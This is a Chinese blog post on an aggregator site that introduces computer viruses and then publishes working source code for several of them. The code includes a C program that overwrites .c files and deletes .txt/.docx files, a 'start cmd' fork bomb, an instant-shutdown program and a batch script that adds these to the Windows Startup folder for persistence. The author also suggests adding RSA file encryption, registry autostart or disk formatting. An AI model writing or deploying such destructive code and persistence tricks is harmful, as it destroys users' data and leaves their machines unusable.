主頁 > 資料庫 > 網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

2020-10-10 17:16:17 資料庫

這篇文章是突發奇想寫的,因為最近突然對病毒產生了一些興趣,因此特別寫了這么一篇文章來紀念一下.
前面我會首先介紹一下什么是病毒,后面我會把一些病毒的原始碼發上來.
當然,我也不知道能不能稱其為病毒,因此,大佬就當樂子看看就好.

一.關于病毒的介紹

按照講課的一般慣例,首先需要百度一下關于病毒的基本知識.如圖.

在這里插入圖片描述
圖中我們可以看出,病毒其實就是在計算機中插入的破壞計算機的惡意代碼.我們姑且可以這么認為:只要是能破壞計算機正常運行的代碼,都可以認為是病毒.因此,即使是用批處理腳本寫一個洗掉檔案的命令,我們都能認為是病毒,因為它對計算機造成了阻礙.

當然,上面都只是我自己的理解,也許想要稱某個程式為病毒的話,可能還需要符合其他特點.
但是我認為這樣理解是沒有錯的,因為就在寫這篇文章之前,我偶然搜索到了一個"%0病毒".這個病毒特別的簡單,只有一句話.
但是作用就是一直打開程式本身,最后使電腦死機.有興趣的同學可以去csdn上面搜索一下這個病毒,挺有意思的.

正因為這么簡單的代碼都能稱為病毒,因此我認為,我的理解應該是正確的.

二.關于病毒的分類

不敢太猜測大佬的思維,只能說說自己對于一些病毒的自己的理解.

1.按照病毒的破壞性分類

良性病毒:僅僅顯示資訊、奏樂、發出聲響,自我復制的,除了傳染時減少磁盤的可用空間外,對系統沒有其它影響,
惡性病毒:封鎖、干擾、中斷輸入輸出、使用戶無法列印等正常作業,甚至電腦中止運行,這類病毒在計算機系統操作中造成嚴重的錯誤,
極惡性病毒:死機、系統崩潰、洗掉普通程式或系統檔案,破壞系統配置導致系統死機、崩潰、無法重啟, 這些病毒對系統造成的危害,并不是本身的演算法中存在危險的呼叫,而是當它們傳染時會引起無法預料的和災難性的破壞,
災難性病毒:破壞磁區表資訊、主引導資訊、FAT,洗掉資料檔案,甚至格式化硬碟等,

第一個,良性病毒.簡單來說,我們隨手寫一個程式,比如彈出一個helloword,我們也姑且認為是一個病毒,并且可以被叫做是良性病毒.
在后面我寫了一個比較有意思的小程式,就可以稱為良性病毒.

在說說第二個,惡性病毒.這類病毒就比較具有攻擊性了,是可以對系統造成一定的威脅性的.
后面我寫了兩個病毒程式.效果是開啟后讓電腦陷入一直關機的狀態.
另一個是開啟以后,會在后臺一直創建行程,直到死機.
都是兩個比較簡單的程式,但是效果比較明顯.

最后一個我就不說了,因為這么nb的病毒我要是能寫出來,我就不坐在這里打字了.

2.按照傳染方式分類

檔案型病毒:一般只傳染磁盤上的可執行檔案(COM,EXE),在用戶呼叫染毒的可執行檔案時,病毒首先被運行,然后病毒駐留記憶體伺機傳染其他檔案或直接傳染其他檔案,其特點是附著于正常程式檔案,成為程式檔案的一個外殼或部件,這是較為常見的傳染方式,
混合型病毒:兼有以上兩種病毒的特點,既染引導區又染檔案,因此擴大了這種病毒的傳染途徑,

這幾點沒啥好說的,只要識字的人知道啥意思.

3.比較出名病毒

這個我懶得打字了.直接上截圖
在這里插入圖片描述

4.需要注意的一些地方

要理解木馬,病毒,漏洞是不同的三種東西.我一開始也并不知道這三種東西有什么區別,后來百度了才知道.

先說說木馬.木馬和病毒是不同的,不能認為是同一種東西.
木馬主要是黑客用來對你的電腦留后門的,比如遠程在你的電腦后臺創建一個賬戶,這就是一種留后門的方法.

其次是病毒.這個就是對你的電腦造成破壞的程式了.比如之前很出名的勒索病毒,原理就是對檔案進行一個加密.
這也是對檔案的一種感染.只要你懂這個原理,甚至自己寫一個加密檔案的程式,都可以叫做"小菜雞做的勒索病毒".(這種話只能說說看,你別真這么叫,因為真正的勒索病毒是很復雜的,利用了一個叫做永恒之藍的漏洞)

最后一個就是漏洞,這個就是另外一種東西了.你的windows一直在更新,原因就是在修復很多漏洞.比如c語言程式里面就有一個漏洞叫做"陣列越界".
這個漏洞產生的原因,就是因為最早發明c語言的時候,為了節省檢查陣列的記憶體,因此對陣列的邊界沒有一個嚴格的限制,才產生了這個漏洞.
還有一個叫做緩沖區溢位的漏洞,這個漏洞被用的比較廣泛,是很多黑客都會用使用的一個漏洞.
(這個漏洞,說實話我感覺和陣列越界的原理差不多.以前在做ctf里面的pwn題的時候明顯能感覺到.)

三.一些病毒的原始碼

1.教學病毒

這個病毒實作了一些基礎的病毒該有的功能,比如感染檔案,洗掉檔案,制造垃圾文等作用,非常適合用來學習病毒.
當然,這個是借鑒了其他csdn大佬的程式,并不是我寫的.

首先先說一下這個病毒的基本作用.
1.感染檔案
病毒會將某個目錄下的檔案進行感染,下面兩張圖是感染前后的對比.
在這里插入圖片描述
在這里插入圖片描述
可以看到,檔案內容發生了變化.
2.制造垃圾檔案
程式運行以后,會在某個目錄下生成一些系統的臨時檔案.這個病毒僅僅生成了一個.
在這里插入圖片描述
在這里插入圖片描述
這兩種檔案都是病毒程式生成的,只不過原理不同,一會兒我會講怎么實作.
3.洗掉檔案
顧名思義,洗掉某個目錄下特定的檔案,比如以.txt結尾的檔案.

運行病毒的程式之前步驟

這個病毒是感染特定目錄下的檔案,因此需要提前創建一個目錄,并且在這個目錄下創建一些檔案.
在這里插入圖片描述
創建一個檔案夾,我的檔案夾是virus.然后在這個檔案夾下創建兩個檔案,檔案名如圖.E_KILL.c是當病毒感染檔案以后的檔案內容.
在E_KILL.c檔案中寫入以下代碼.

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一個viruse.c就是我們病毒的原始碼了.這個一會兒再說.
接著就是temp檔案夾了,這個檔案夾就是要被感染的目標檔案夾,按照如圖創建.
在這里插入圖片描述
s.txt和a.docx是兩個空的檔案,另外兩個檔案寫入以下內容:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

好了,準備作業就做完了,接下來就是講解關于病毒原始碼的講解了.

病毒原始碼

關于原始碼的講解,我直接就以注釋的方式寫在代碼里面了.好好看,好好學.

#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\E_KILL.c"
//使用了很多宏定義.這些都是后面會用得到的,需要改成你自己的檔案路徑,記得用兩個斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函式宣告

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//這個是生成臨時檔案的檔案名,幾個×就代表幾個隨機字符.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函式用于改變當前作業目錄,將當前作業目錄改成了宏定義的目錄
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//創建臨時檔案
}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        //創建垃圾程式,open第二個引數是創建并且打開檔案,第三個引數是寫入的意思
        copyfile(Virusfile,s[i]);
        //將開始那個E_KILL檔案內容復制到新創建的exe檔案當中.
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //這個原理比較簡單,就是進行了一個查找,然后洗掉.就不贅述了.
}


void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染檔案子函式
void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//對檔案進行感染,原理其實就是將病毒檔案進行復制即可.

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程式

運行的時候記得用管理員身份打開.

程式大概就是這樣.其實很多病毒的雛形就是這個.
比如可以對這個原始碼進行修改,將一個死回圈加到創建垃圾檔案,那么效果就是一直創建垃圾檔案,直到電腦記憶體被全部占滿.
在比如,可以將單純的復制檔案改為對檔案進行rsa加密,這樣會比摧毀檔案更讓人頭疼.

運行結果

在這里插入圖片描述
可以看到,檔案夾中被創建了一個叫做a14192的臨時檔案,這個就是我們的功能之一.
接著打開e.c,可以看到檔案已經變成了如圖所示的內容.
在這里插入圖片描述
由此可見,我們的檔案已經被成功感染.
當然,這個病毒是非常簡單的一種,你可以對功能進行一些擴充,比如寫入注冊表設定自啟動,比如格式化某個硬碟…等等等等,這個就看你了.

2.一些我自己寫的病毒

姑且先叫做是病毒吧,因為也是對電腦造成了阻礙.我的靶機都是win2003,別的機器可能出不來效果.

1>永恒之綠

這個名字是我突然想起來有個叫"永恒之藍"的漏洞,于是我也給這個病毒起了個這個名字.先看看效果.
在這里插入圖片描述
這個病毒運行以后,會一直在螢屏上重繪綠色的0和1.
怎么樣?是不是看著比較有意思?
這個程式并沒有什么危害性,調出任務管理器就可以關掉.不過我還在后面寫了一個批處理腳本,代碼如下:

@echo off
copy virus_fake.exe "C:\Documents and Settings\Administrator\「開始」選單\程式\啟動"

這個腳本執行以后,會將病毒程式加載到啟動項,每次開機都會運行這個程式.
當然,記得要把第二行copy后面的檔案名改成你病毒程式的檔案名才可以.

接下來就是病毒的原始碼.

#include <stdio.h>
int main(){
    system("color 0a");
    //呼叫一個cmd命令,將文字顏色調成綠色,背景調成黑色
    while(1){
        printf("01011010101001010");
        //使用一個死回圈,回圈在螢屏上列印0和1
    }
}

如圖,要將exe和bat放到一個位置.
在這里插入圖片描述
如果直接運行程式,是只會在一個視窗執行.
在這里插入圖片描述
我們還需要右鍵這個程式,然后設定屬性和默認值為全屏才可以出現開始那個效果.
在這里插入圖片描述
這就是第一個病毒程式,永恒之綠.就是一個花里胡哨的小程式,只能用來嚇唬人,其實并沒有什么太厲害的地方.
不過第二個就比較厲害了,會無止境的消耗系統資源.

2>不知道該叫啥,就叫死機病毒吧

運行結果如圖:
在這里插入圖片描述
此刻我的虛擬機已經死機了,只能重啟.
在這里插入圖片描述
這個病毒的原理就是一直在打開cmd界面,最后系統資源耗盡,然后死機.這次我打開性能監視器,如圖.
在這里插入圖片描述
短短幾秒鐘,行程就達到了500多個.如果在加上上面的那個開機自啟動腳本,想想看,后果是不是很可怕?
直接上原始碼.

#include <stdio.h>
int main(){
    while(1)
    system("start cmd");
    //我寫了一個死回圈,然后執行cmd命令.這個命令就是打開cmd視窗,為什么要加start呢?這個可以百度一下為什么.
    return 0;
}

代碼很簡單,但是效果還是很猛的.這個的原理和%0病毒是相似的.

3>病毒之重啟

這個名字是我看了盜墓筆記重啟以后想到的,干脆就拿來用了.
重啟是真的重啟,運行以后會讓電腦直接關機.如果配合上自啟動腳本,效果就是開機就關機,開機就關機,開機就…
威力還是比較可觀的.截圖我就不上了,直接放代碼.

#include <stdio.h>
int main(){
    system("shutdown -s -t 0");
    //呼叫cmd命令,-s是關機的意思,-t 0 是設定0秒以后關機的意思
    return 0;
}

首先,運行病毒1里面的自啟動腳本(記得改檔案名),然后關機,在開機,病毒就開始執行了.

最后這個病毒是威力最大的一個,因為你連機都開不了,談何洗掉病毒?
當然,你可以進入安全模式進行洗掉,而那些不懂這些的人可就遭了殃了.
上面三個其實可以直接在病毒程式中添加自啟動命令的,但是我的編譯器一編譯就會自動執行程式,因此我寫成了兩個,不然自己的病毒把自己感染了就出大事了.

4>額外補充的一些事情

上面發的三個病毒其實都是小打小鬧,真正厲害的是一些比如熊貓燒香之類的病毒.
當然,那些大佬對于我來說都是目不可及的.
曾經有幸見過一個大佬寫的"金豬報喜"病毒,原理和熊貓燒香類似,用的是c++寫的.如果說以后有機會的話,我會寫一個這樣的病毒發上來給大家看看.

三.總結

關于病毒的基本原理,大概就是這樣.如果各位還有什么要補充的話可以放在評論區里.
上面的三個病毒只能算是特別小的病毒,一些更厲害的病毒可以去看看其他csdn大佬寫的東西,比如隱藏行程之類的功能.就這樣吧,不多說了.有興趣可以加我qq:1392969921

轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/166435.html

標籤:其他

上一篇:Redis系列:redis實作分布式鎖

下一篇:不愧是“大廠敲門磚”,阿里新產并發編程神仙筆記也太贊了

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • GPU虛擬機創建時間深度優化

    **?桔妹導讀:**GPU虛擬機實體創建速度慢是公有云面臨的普遍問題,由于通常情況下創建虛擬機屬于低頻操作而未引起業界的重視,實際生產中還是存在對GPU實體創建時間有苛刻要求的業務場景。本文將介紹滴滴云在解決該問題時的思路、方法、并展示最終的優化成果。 從公有云服務商那里購買過虛擬主機的資深用戶,一 ......

    uj5u.com 2020-09-10 06:09:13 more
  • 可編程網卡芯片在滴滴云網路的應用實踐

    **?桔妹導讀:**隨著云規模不斷擴大以及業務層面對延遲、帶寬的要求越來越高,采用DPDK 加速網路報文處理的方式在橫向縱向擴展都出現了局限性。可編程芯片成為業界熱點。本文主要講述了可編程網卡芯片在滴滴云網路中的應用實踐,遇到的問題、帶來的收益以及開源社區貢獻。 #1. 資料中心面臨的問題 隨著滴滴 ......

    uj5u.com 2020-09-10 06:10:21 more
  • 滴滴資料通道服務演進之路

    **?桔妹導讀:**滴滴資料通道引擎承載著全公司的資料同步,為下游實時和離線場景提供了必不可少的源資料。隨著任務量的不斷增加,資料通道的整體架構也隨之發生改變。本文介紹了滴滴資料通道的發展歷程,遇到的問題以及今后的規劃。 #1. 背景 資料,對于任何一家互聯網公司來說都是非常重要的資產,公司的大資料 ......

    uj5u.com 2020-09-10 06:11:05 more
  • 滴滴AI Labs斬獲國際機器翻譯大賽中譯英方向世界第三

    **桔妹導讀:**深耕人工智能領域,致力于探索AI讓出行更美好的滴滴AI Labs再次斬獲國際大獎,這次獲獎的專案是什么呢?一起來看看詳細報道吧! 近日,由國際計算語言學協會ACL(The Association for Computational Linguistics)舉辦的世界最具影響力的機器 ......

    uj5u.com 2020-09-10 06:11:29 more
  • MPP (Massively Parallel Processing)大規模并行處理

    1、什么是mpp? MPP (Massively Parallel Processing),即大規模并行處理,在資料庫非共享集群中,每個節點都有獨立的磁盤存盤系統和記憶體系統,業務資料根據資料庫模型和應用特點劃分到各個節點上,每臺資料節點通過專用網路或者商業通用網路互相連接,彼此協同計算,作為整體提供 ......

    uj5u.com 2020-09-10 06:11:41 more
  • 滴滴資料倉庫指標體系建設實踐

    **桔妹導讀:**指標體系是什么?如何使用OSM模型和AARRR模型搭建指標體系?如何統一流程、規范化、工具化管理指標體系?本文會對建設的方法論結合滴滴資料指標體系建設實踐進行解答分析。 #1. 什么是指標體系 ##1.1 指標體系定義 指標體系是將零散單點的具有相互聯系的指標,系統化的組織起來,通 ......

    uj5u.com 2020-09-10 06:12:52 more
  • 單表千萬行資料庫 LIKE 搜索優化手記

    我們經常在資料庫中使用 LIKE 運算子來完成對資料的模糊搜索,LIKE 運算子用于在 WHERE 子句中搜索列中的指定模式。 如果需要查找客戶表中所有姓氏是“張”的資料,可以使用下面的 SQL 陳述句: SELECT * FROM Customer WHERE Name LIKE '張%' 如果需要 ......

    uj5u.com 2020-09-10 06:13:25 more
  • 滴滴Ceph分布式存盤系統優化之鎖優化

    **桔妹導讀:**Ceph是國際知名的開源分布式存盤系統,在工業界和學術界都有著重要的影響。Ceph的架構和演算法設計發表在國際系統領域頂級會議OSDI、SOSP、SC等上。Ceph社區得到Red Hat、SUSE、Intel等大公司的大力支持。Ceph是國際云計算領域應用最廣泛的開源分布式存盤系統, ......

    uj5u.com 2020-09-10 06:14:51 more
  • es~通過ElasticsearchTemplate進行聚合~嵌套聚合

    之前寫過《es~通過ElasticsearchTemplate進行聚合操作》的文章,這一次主要寫一個嵌套的聚合,例如先對sex集合,再對desc聚合,最后再對age求和,共三層嵌套。 Aggregations的部分特性類似于SQL語言中的group by,avg,sum等函式,Aggregation ......

    uj5u.com 2020-09-10 06:14:59 more
  • 爬蟲日志監控 -- Elastc Stack(ELK)部署

    傻瓜式部署,只需替換IP與用戶 導讀: 現ELK四大組件分別為:Elasticsearch(核心)、logstash(處理)、filebeat(采集)、kibana(可視化) 下載均在https://www.elastic.co/cn/downloads/下tar包,各組件版本最好一致,配合fdm會 ......

    uj5u.com 2020-09-10 06:15:05 more
最新发布
  • day02-2-商鋪查詢快取

    功能02-商鋪查詢快取 3.商鋪詳情快取查詢 3.1什么是快取? 快取就是資料交換的緩沖區(稱作Cache),是存盤資料的臨時地方,一般讀寫性能較高。 快取的作用: 降低后端負載 提高讀寫效率,降低回應時間 快取的成本: 資料一致性成本 代碼維護成本 運維成本 3.2需求說明 如下,當我們點擊商店詳 ......

    uj5u.com 2023-04-20 08:33:24 more
  • MySQL中binlog備份腳本分享

    關于MySQL的二進制日志(binlog),我們都知道二進制日志(binlog)非常重要,尤其當你需要point to point災難恢復的時侯,所以我們要對其進行備份。關于二進制日志(binlog)的備份,可以基于flush logs方式先切換binlog,然后拷貝&壓縮到到遠程服務器或本地服務器 ......

    uj5u.com 2023-04-20 08:28:06 more
  • day02-短信登錄

    功能實作02 2.功能01-短信登錄 2.1基于Session實作登錄 2.1.1思路分析 2.1.2代碼實作 2.1.2.1發送短信驗證碼 發送短信驗證碼: 發送驗證碼的介面為:http://127.0.0.1:8080/api/user/code?phone=xxxxx<手機號> 請求方式:PO ......

    uj5u.com 2023-04-20 08:27:27 more
  • 快取與資料庫雙寫一致性幾種策略分析

    本文將對幾種快取與資料庫保證資料一致性的使用方式進行分析。為保證高并發性能,以下分析場景不考慮執行的原子性及加鎖等強一致性要求的場景,僅追求最終一致性。 ......

    uj5u.com 2023-04-20 08:26:48 more
  • sql陳述句優化

    問題查找及措施 問題查找 需要找到具體的代碼,對其進行一對一優化,而非一直把關注點放在服務器和sql平臺 降低簡化每個事務中處理的問題,盡量不要讓一個事務拖太長的時間 例如檔案上傳時,應將檔案上傳這一步放在事務外面 微軟建議 4.啟動sql定時執行計劃 怎么啟動sqlserver代理服務-百度經驗 ......

    uj5u.com 2023-04-20 08:26:35 more
  • 云時代,MySQL到ClickHouse資料同步產品對比推薦

    ClickHouse 在執行分析查詢時的速度優勢很好的彌補了MySQL的不足,但是對于很多開發者和DBA來說,如何將MySQL穩定、高效、簡單的同步到 ClickHouse 卻很困難。本文對比了 NineData、MaterializeMySQL(ClickHouse自帶)、Bifrost 三款產品... ......

    uj5u.com 2023-04-20 08:26:29 more
  • sql陳述句優化

    問題查找及措施 問題查找 需要找到具體的代碼,對其進行一對一優化,而非一直把關注點放在服務器和sql平臺 降低簡化每個事務中處理的問題,盡量不要讓一個事務拖太長的時間 例如檔案上傳時,應將檔案上傳這一步放在事務外面 微軟建議 4.啟動sql定時執行計劃 怎么啟動sqlserver代理服務-百度經驗 ......

    uj5u.com 2023-04-20 08:25:13 more
  • Redis 報”OutOfDirectMemoryError“(堆外記憶體溢位)

    Redis 報錯“OutOfDirectMemoryError(堆外記憶體溢位) ”問題如下: 一、報錯資訊: 使用 Redis 的業務介面 ,產生 OutOfDirectMemoryError(堆外記憶體溢位),如圖: 格式化后的報錯資訊: { "timestamp": "2023-04-17 22: ......

    uj5u.com 2023-04-20 08:24:54 more
  • day02-2-商鋪查詢快取

    功能02-商鋪查詢快取 3.商鋪詳情快取查詢 3.1什么是快取? 快取就是資料交換的緩沖區(稱作Cache),是存盤資料的臨時地方,一般讀寫性能較高。 快取的作用: 降低后端負載 提高讀寫效率,降低回應時間 快取的成本: 資料一致性成本 代碼維護成本 運維成本 3.2需求說明 如下,當我們點擊商店詳 ......

    uj5u.com 2023-04-20 08:24:03 more
  • day02-短信登錄

    功能實作02 2.功能01-短信登錄 2.1基于Session實作登錄 2.1.1思路分析 2.1.2代碼實作 2.1.2.1發送短信驗證碼 發送短信驗證碼: 發送驗證碼的介面為:http://127.0.0.1:8080/api/user/code?phone=xxxxx<手機號> 請求方式:PO ......

    uj5u.com 2023-04-20 08:23:11 more